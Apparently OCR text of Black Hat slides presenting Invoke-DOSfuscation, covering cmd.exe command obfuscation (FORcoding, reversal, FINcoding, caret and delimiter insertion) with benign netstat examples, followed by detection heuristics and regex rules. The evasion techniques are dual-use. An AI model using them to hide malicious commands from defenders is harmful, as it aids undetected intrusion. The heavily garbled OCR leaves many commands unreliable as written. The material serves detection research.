Invoke-DOSfuscation functions also
wrap all the building block techniques
iInto each input command...
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Payload Obfuscation 2 of 4: FORcoding

e cMd /v /R "sET unlQUE=0OnBeFtUsS C/AaToE&&foR %aIN (13575135911 13
1 15 1337) dO sEt fINal=!finAl'luniQue:~%a,1!&&IF %a==1337 CalL %fInAl.~-
12%"

Random case Invoke-DOSfuscation functions also
wrap all the building block techniques
iInto each input command...
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Payload Obfuscation 2 of 4: FORcoding

e cMd/V/R"SET unlQuE=0OnBeFtUsS C/AaToE&&foR %a iN (1,3;5,7;5,13;5,9;11,
13,1;15,1337)dO sEt fINal=!finAllluniQue:~%a,1!&&IF %a==1337 CalL %fInAl:~-
12%"

« Random case Invoke-DOSfuscation functions also
* Whitespace (-/+) wrap all the building block techniques
. iInto each input command...
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Payload Obfuscation 2 of 4: FORcoding

e cMd /v /R "sET unlQuE=OnBeFtUsS C/AaToE && foR %a IN ( 1 3
5751359 11 13 1 15 1337 ) dO sEt fINal=!finAllluniQue:~ %a,

1'&& 1IF %a == 1337 CalL %flnAl:i~ -12%
« Random case Invoke-DOSfuscation functions also
*  Whitespace (-/+) wrap all the building block techniques
. iInto each input command...
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Payload Obfuscation 2 of 4: FORcoding

e scMd;/v;,)/R "sET unlQuE=OnBeFtUsS C/AaToE &&,; foR ;,;%a ,;;iN;,,;(, 1; 3
57 5 13 5,9 11 13 1;;15 1337;,),;,;d0O,,;;sEt fINal=!finAllluniQue:~ %a,

1'&&;:1F,, ,%a;;,==,,;1337,;;,CalL;,,;%fInAl:~ -12%
« Random case Invoke-DOSfuscation functions also
*  Whitespace (-/+) wrap all the building block techniques
« Comma & semicolon into each input command...
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Payload Obfuscation 2 of 4: FORcoding

o ..cA"Md;/Mv;,;,/"R "sSEAT A unlQAruE=0nBeFt*UsS C/AaToE &&,; fo*R;,;%"a,;;
I”N;,;(,1;35 7 5 123 5,9 11 173 1;;15 7 13”37;,),;,,d”0O,,;;s"Et
fIANal=!finAl''luni®Que:~ %"a, 1!&&;;I"F,,%"a;,="=,;13"37,;Ca”’IL;,%fIn"Al.~ -A12%"

« Random case Invoke-DOSfuscation functions also

*  Whitespace (-/+) wrap all the building block techniques
« Comma & semicolon into each input command...

 Caret
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Payload Obfuscation 2 of 4: FORcoding

e ,;,c"Md;/M; ;"R "((SET N unlQMuE=0OnBeFt"UsS C/AaToE ))&&,; fo'R;,;%"a,;;
I”N;,;(,1,35 75 13 5,9 11 173 1;;15 " 13"37;,),;,;d"O,,(;(;s"Et
fI*"Nal=!finAllluni*Que:~ %"a,1!))&&(;i"F,%"a,="=;13"37,(Ca’IL;%fIn"Al:~ -*12%))"

« Random case Invoke-DOSfuscation functions also

*  Whitespace (-/+) wrap all the building block techniques
« Comma & semicolon into each input command...

 Caret

« Parentheses
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Payload Obfuscation 2 of 4: FORcoding

e ;,c"Md;/"v;,;/"R "((SE"T M unlQMuE=0OnBeFt"UsS C/AaToE ))&&,; fo"R;,;%"a,;;
I”N;,,;(,#1;,3 5 7+5 13 +5,,9 11 +1"3 +1;;+15 "+13"737;,),;,,d”O,,(;(;S"Et
fI*Nal=!finAl'luni*Que:~ %"a,1!))&&(;I"F, % a="=+13"37,(Ca”’IL;%fIn"Al:~ -*12%))"

« Random case Invoke-DOSfuscation functions also

*  Whitespace (-/+) wrap all the building block techniques
« Comma & semicolon into each input command...

 Caret

« Parentheses
» Explicit signing
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Payload Obfuscation 2 of 4. FORcoding

Troll-pportunity ™

C:\Users\me>set final=!final!lunique:~26,1! && if 26 GTR 56 echo !final:*finall=!
| powershell -

C:\Users\me>set final=!final!lunique:~38,1! && if 38 GTR 56 echo !final:*finall=!
| powershell -

C:\Users\me>set final=!final!lunique:~57,1! && if 57 GTR 56 echo !final:*finall=!
| powershell -
Any additional required chars added after TROLL message...

GRS LTI AN (=D Y el i1 [s I CCRVAYH O VAT IR e BEE [ "0 1 | -pportunity right here and right now!!!{@]
fcmRqlLsA.&&for %Y in (40,32,33,36,26,5,35,39,51,36,37,52,38,15,37,28,30,30,33,36,33
,39,38,28,4,37,32,26,49,11,33,32,26,30,37,46,35,28,32,51,37, 28,30,30,26,30,37,28,45
,36,26,32,37,0,48,44,50,50,37,47,26,51,51,28,34,26,53,53,53,37,5,45,37,34,32,26,26,
38,57)do set final=!final!!unique:~%Y,1!8&if %Y gtr 56 echo !final:*final!=!|powers
hell -"




Payload Obfuscation 3 of 4: Reversal

 cmd /v /r "set reverse=ona/ tatsten&&FOR /L %A IN (11 -1 0) DO set
final=!finall'reverse:~%A,1!&&IF %A==0 CALL %final:~-12%"

Reverse

1

Reversing is similar to FORcoding, but has
simpler indexing with FOR loop's /L argument.

1

FORcoding

 cmd /v /r "set unique=nets /a0&&FOR %AIN (012326245607 1337) DO
set final=!final'lunique:~%A,1!&&IF %A==1337 CALL %final:~-12%"
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Payload Obfuscation 3 of 4: Reversal

« cmd /v /r "set reverse=0oBnFaU/S CtAaTtlsOtNe!n&&FOR /L %A IN (23 -2 1) DO
set final=!finalllreverse:~%A,1!1&&IF %A==1 CALL %final:~-12%"

Reverse

1

Reversing is similar to FORcoding, but has
simpler indexing with FOR loop's /L argument.

1

FORcoding

 cmd /v /r "set unique=nets /a0&&FOR %AIN (012326245607 1337) DO
set final=!final'lunique:~%A,1!&&IF %A==1337 CALL %final:~-12%"

178 /




Payload Obfuscation 3 of 4: Reversal

 cmd /v /r "set reverse=0oBnFaU/S CtAaTtlsOtNe!n&&FOR /L %A IN (23 -2 1) DO
set final=!final!'reverse:~%A, 1!&&IF %A==1 CALL %final:~-12%"

Test Numeric values
IF only parses numbers when one of the compare-op operators

(EQU, NEQ, LSS, LEQ, GTR, GEQ) is used.
The == comparison operator always results in a string comparison.
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Payload Obfuscation 3 of 4: Reversal

« cmd /v Ir "set reverse=0OoBnFaU/S CtAaTtlsOtNe!n&&FOR /L %A IN (23 -2 1) DO
set final=!finall'reverse:~%A,1!&&IF %A==1 CALL %final:~-12%"

1

C:\> echo %final%
Ifinal'netstat /ano

C:\> echo %final:~-12%
netstat /ano
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Payload Obfuscation 3 of 4: Reversal

« cmd /v Ir "set reverse=0OoBnFaU/S CtAaTtlsOtNe!n&&FOR /L %A IN (23 -2 1) DO
set final=!finall'reverse:~%A,1!&&IF %A==1 CALL %final:~7%"

1

C:\> echo %final%
Ifinal'netstat /ano

C:\> echo %final:~7%
netstat /ano
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Payload Obfuscation 3 of 4: Reversal

« cmd /v Ir "set reverse=0OoBnFaU/S CtAaTtlsOtNe!n&&FOR /L %A IN (23 -2 1) DO
set final=!finall'reverse:~%A,1!&&IF %A==1 CALL %final:*final!=%"

1

C:\> echo %final%
Ifinal'netstat /ano

C:\> echo %final:~7%
netstat /ano

C:\> echo %final:*final!'=%
netstat /ano
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Payload Obfuscation 4 of 4. FINcoding

« cmd /v Ir "set command=netstat /ano&&CALL %command%"
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Payload Obfuscation 4 of 4: FINcoding  t2Z2

e cmd /v /r "set command=neZsZaZ /ano&&CALL %command%"
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Payload Obfuscation 4 of 4: FINcoding  t2Z2

e cmd /v /r "set command=neZsZaZ /ano&&set subl=!command:Z=t!&&CALL
%command%"

Z&t
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Payload Obfuscation 4 of 4: FINcoding  t2Z2

e cmd /v /r "set command=neZsZaZ /ano&&set subl=!command:Z=t!&&CALL
%subl1%"

Z&t
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Payload Obfuscation 4 of 4: FINcoding t327
a

e cmd /v /r "set command=neZsZ7Z /[7Tno&&set subl=Ilcommand:Z=tl&&set
sub2=Isubl:7=al&&CALL %sub2%"

Z €&t
7 € a
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Payload Obfuscation 4 of 4: FINcoding t327
a

n->=?

e cmd /v /r "set command=?2eZsZ7Z [7?0&&set subl=lcommand:Z=t!&&set
sub2=Isubl:7=al&&set sub3=Isub2:?=n!&&CALL %sub3%"

Z &€t
7€ a
?€n
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Payload Obfuscation 4 of 4: FINcoding

e cmd /v /r "set command=?eZsZ7Z [7?0&&set subl=Ilcommand:Z=tl&&set
sub2=Isubl:7=al&&set sub3=Isub2:?=n!&&CALL %sub3%"

This same command in Out-FINcodedCommand POC:

e cmd /c "set command=?eZsZ7Z [7?0&&cmd /c set
subl=%command:Z=t%"&"*&cmd /c set sub2=%subl:7=a%""\"&"*&cmd /c set
sub3=%sub2:?=n% MNNNNAGNNMNMNE cmd /c %osub3%"

* No /V so %var% (not !var!)
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Payload Obfuscation 4 of 4: FINcoding

e cmd /v /r "set command=?eZsZ7Z [7?0&&set subl=Ilcommand:Z=tl&&set
sub2=Isubl:7=al&&set sub3=Isub2:?=n!&&CALL %sub3%"

This same command in Out-FINcodedCommand POC:

« cmd /c "set command=?eZsZ7Z /7?0&&cmd /c set
subl=%command:Z=t%"&"*&cmd /c set sub2=%subl:7=a%"""\"'\&""""*&cmd /c set
sub3=%sub2:?=nW N\\NAKNNNMNAL cmd /¢ Yosub3%"

* No /V so %var% (not !var!)
* Multiple cmd.exe invocations
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Payload Obfuscation 4 of 4: FINcoding

e cmd /v /r "set command=?eZsZ7Z [7?0&&set subl=Ilcommand:Z=tl&&set
sub2=Isubl:7=al&&set sub3=Isub2:?=n!&&CALL %sub3%"

This same command in Out-FINcodedCommand POC:

« cmd /c "set command=?eZsZ7Z [7?0&&cmd /c set
subl=%command:Z=t%"&"*&cmd /c set sub2=%subl:7=a%"""\""\&"*""*&cmd /c set
sub3=%sub2:?=nWNNNNAKNNNNAL cmd /¢ Yosub3%"

* No /V so %var% (not !var!)
* Multiple cmd.exe invocations
» Layered escaping of &&
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Payload Obfuscation 4 of 4: FINcoding

e cmd /v /r "set command=?eZsZ7Z [7?0&&set subl=Ilcommand:Z=tl&&set
sub2=Isubl:7=al&&set sub3=Isub2:?=n!&&CALL %sub3%"

This same command in Out-FINcodedCommand POC:

« cmd /c "set command=?eZsZ7Z [7?0&&cmd /c set
subl=%command:Z=t%"&"*&cmd /c set sub2=%subl:7=a%""&M"&cmd /c set
sub3=%sub2:?=nWNNNNAKNNNNAL cmd /¢ Yosub3%"

* No /V so %var% (not !var!)
* Multiple cmd.exe invocations
» Layered escaping of &&
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Payload Obfuscation 4 of 4: FINcoding

e cmd /v /r "set command=?eZsZ7Z [7?0&&set subl=Ilcommand:Z=tl&&set
sub2=Isubl:7=al&&set sub3=Isub2:?=n!&&CALL %sub3%"

This same command in Out-FINcodedCommand POC:

« cmd /c "set command=?eZsZ7Z [7?0&&cmd /c set
subl=%command:Z=t%"&"*&cmd /c set sub2=%subl:7=a%""&M"&cmd /c set
sub3=%sub2:?=nWANANEANMANE cmd /¢ Y%osub3%"

* No /V so %var% (not !var!)
* Multiple cmd.exe invocations
» Layered escaping of &&
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OUTLINE

State of the- Unten Obfuscation

Obfuscation in the Wild: 3 Case Studies

Whose Binary is it Anyway: Obfuscating Binary Names

Deep Dive: Character Insertion Obfuscation
Deep(er) Dive: Advanced Payload Obfuscation

Invoke-DOSfuscation Public Release & Live Demo

Detecting DOSfuscation




DISCLAIMER

 Please do not use this tool for evil.
« FIN7, FIN8 & APT32: Please do not use this tool at all ©
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https://github.com/danielbohannon/Invoke-DOSfuscation
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OUTLINE

State of the- Unten Obfuscation

Obfuscation in the Wild: 3 Case Studies

Whose Binary is it Anyway: Obfuscating Binary Names

Deep Dive: Character Insertion Obfuscation
Deep(er) Dive: Advanced Payload Obfuscation
Invoke-DOSfuscation Public Release & Live Demo

Detecting DOSfuscation




Detecting DOSfuscation (more details in white paper)

Long argument length

High frequency of obfuscation characters: , ; * " ()

Rare obfuscation of internal commands:

« CAALAML or SET,
Unusual execution flags:

 /V or /IR (or /"R)
Variable substring and replacement syntax:

e ovar:~7,1% or lvar:~%a,1l! or lvar:*var=!
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Detecting DOSfuscation (more details in white paper)

e Suspicious sub-command and stdin child process artifacts

 FOR loop executes sub-command via separate cmd.exe invocation

« Cmd.exe pipeline to add'l binary (e.g. findstr.exe) spawns pre-pipe arguments via
separate cmd.exe invocation with these arguments: cmd.exe /S /D /[c" set"

No space between /c & "

Double whitespace \ l l Whitespace after first "

CommandLine: C:\Windows\system32\cmd.exeli Vs \CommandLine:

\CommandLine: C:\Windows\system32\cmd.exe /c H=ijilale iz

CommandLine: cmd.exe /c "FOR /F "delims=s\ tokens=4" %%a IN (‘SgsullSig@z:\)DO ECHO %%a"
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Detecting DOSfuscation — Test Harness FTW! | seenmmse-  invokeDostuscation /sampies

* Invoke-DOSfuscationTestHarness.psml

THE module | used to develop detection ideas

* Invoke-DosTestHarness

 Get-DosDetectionMatch

» Released 4000 sample obfuscated commands as
txt & .evtx files for static and dynamic purposes

[E) DYNAMIC_SECURITY_EID4688_1-of-4_...
[E) DYNAMIC_SECURITY_EID4688_2-of-4._...
[E) DYNAMIC_SECURITY_EID4688_3-0f-4_...
[E DYNAMIC_SECURITY_EID4688_4-of-4_...
£ DYNAMIC_SYSMON_EID1_1-of-4_Out-...
[E DYNAMIC_SYSMON_EID1_2-of-4_Out-...
E) DYNAMIC_SYSMON_EID1_3-of-4_Out-...
E) DYNAMIC_SYSMON_EID1_4-of-4_Out-...
[E) STATIC_1-of-4_Out-DosConcatenatedC...
E) STATIC_2-of-4_Out-DosReversedComm...

E) STATIC_3-of-4_Out-DosFORcodedCom...

E) STATIC_4-of-4_Out-DosFINcodedComm...

danielbohannon Uploading more updated samples w/more evtx types  «=«

Uploading more updated samples
Uploading more updated samples
Uploading more updated samples
Uploading more updated samples
Uploading more updated samples
Uploading more updated samples
Uploading more updated samples
Uploading more updated samples
Uploading more updated samples
Uploading more updated samples
Uploading more updated samples

Uploading more updated samples

# Set detection names and regex values to check against input $Command.

$regexDetectionTerms = @()

$regexDetectionTerms += , @{ Name ‘UnobfuscatedForLoop'

$regexDetectionTerms += , @{ Name

$regexDetectionTerms += , @{ Name "INSERT_MORE_RULES'

; Expression

'"MultipleVarSubstring' ; Expression

; Expression

"FOR\s+\/[A-Z]\s+\%[A-Z]\s+IN.*DO\s" }
'\%.{0,25}:~.{0,25}\%.*\%.{0,25}:~.{0,25}\%" }

' (MORE | RULES) ' }
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Black Hat Sound Bytes

 Attackers are using more creative command argument obfuscation techniques

« Cmd.exe supports significant obfuscation and encoding capabilities not yet
seen in the wild

« Defenders must match levels of attacker creativity with detection creativity
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Credit Where Credit Is Due

* Fireeye Advanced Practices Team

* Nick Carr, Matthew Dunwoody, Ben Withnell
« My wife: Paige

* 9 months research & hunting (500+ hours)
« 320 hours Invoke-DOSfuscation tool development

* 100 hours slide/presentation development & 100 hours white paper
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Thanks! Questions?

)
<® FireEye

 Daniel Bohannon
e Twitter :: @danielhbohannon

* Blog :: http://danielbohannon.com

* Code: https://github.com/danielbohannon/Invoke-DOSfuscation

« White paper: https://www.fireeye.com/blog/threat-
research/2018/03/dosfuscation-exploring-obfuscation-and-detection-
technigues.html
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